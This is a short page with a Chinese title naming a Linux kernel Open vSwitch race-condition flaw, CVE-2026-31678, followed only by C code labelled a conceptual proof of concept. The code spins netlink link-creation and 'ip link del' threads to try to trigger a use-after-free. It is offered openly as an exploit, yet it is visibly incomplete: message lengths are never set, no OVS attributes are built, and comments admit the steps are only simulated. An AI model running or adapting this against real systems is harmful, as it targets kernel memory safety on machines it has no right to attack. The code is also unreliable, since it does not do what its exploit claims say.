CVE-2026-31678 Linux内核Open vSwitch竞态条件漏洞

/* * Conceptual PoC for CVE-2026-31678 * Trigger race condition in Open vSwitch tunnel destruction. * Compile: gcc -o poc_cve2026_31678 poc_cve2026_31678.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <pthread.h> #define MAX_PAYLOAD 1024 void* create_tunnels(void* arg) { int sockfd; struct sockaddr_nl sa; struct msghdr msg; struct iovec iov; char buffer[MAX_PAYLOAD]; struct nlmsghdr *nlh; sockfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sockfd < 0) return NULL; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)); while(1) { // Simplified logic to simulate tunnel creation/deletion stress // In a real exploit, specific Netlink attributes for OVS would be crafted. memset(buffer, 0, MAX_PAYLOAD); nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_type = RTM_NEWLINK; // Simulating device creation nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_EXCL | NLM_F_REQUEST; nlh->nlmsg_pid = getpid(); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; msg.msg_name = (void *)&sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; sendmsg(sockfd, &msg, 0); usleep(100); // Short delay to increase race window } close(sockfd); return NULL; } void* destroy_tunnels(void* arg) { // Simulate rapid deletion/destroy requests while(1) { // Logic to send RTM_DELLINK or trigger internal OVS destroy system("ip link del dummy_ovs 2>/dev/null"); usleep(50); } } int main() { pthread_t t1, t2; printf("[+] Starting Race Condition Trigger for CVE-2026-31678\n"); printf("[+] Attempting to hit UAF in ovs_netdev_tunnel_destroy\n"); pthread_create(&t1, NULL, create_tunnels, NULL); pthread_create(&t2, NULL, destroy_tunnels, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }